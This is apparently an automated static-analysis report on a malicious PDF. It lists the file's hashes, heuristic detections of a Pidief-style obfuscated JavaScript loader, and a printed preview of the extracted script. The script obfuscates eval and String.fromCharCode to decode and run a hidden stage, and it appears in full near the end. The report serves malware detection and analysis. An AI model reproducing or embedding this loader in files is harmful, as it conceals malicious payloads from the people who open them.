Malicious PDF — malware analysis report

Static analysis result for SHA-256 3df2c07620bc709a…

MALICIOUS

PDF

44.8 KB First seen: 2012-10-10
MD5: 9d4a3fd02530f76a54372ef3316fc9fe SHA-1: 70d2435c8b34f141eeba1c718fff5571691662c7 SHA-256: 3df2c07620bc709a92ee7f1b406aec4dc7bd4ef92faf4be5fa9a4a4c3e1d13b6
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to perform malicious actions, such as downloading and executing a second-stage payload, although the specific actions cannot be determined without further analysis of the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB064 486 bytes
SHA-256: f8de77ec6b1ac27cb995b1c42e42e22a76543286e461f44f5176e0b1d3850b80
Preview script
First 1,000 lines of the extracted script
axg='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
iqdvy=e('ti'+'tle');
s=iqdvy.substr(t.length + 8,3)+'str';
q=iqdvy[s](1,(1,t.length + 7));
gyr=e('S'+'tring.fro'+q);
q=iqdvy[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	hwqcx = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	axg += gyr(hwqcx);
}
e(axg);

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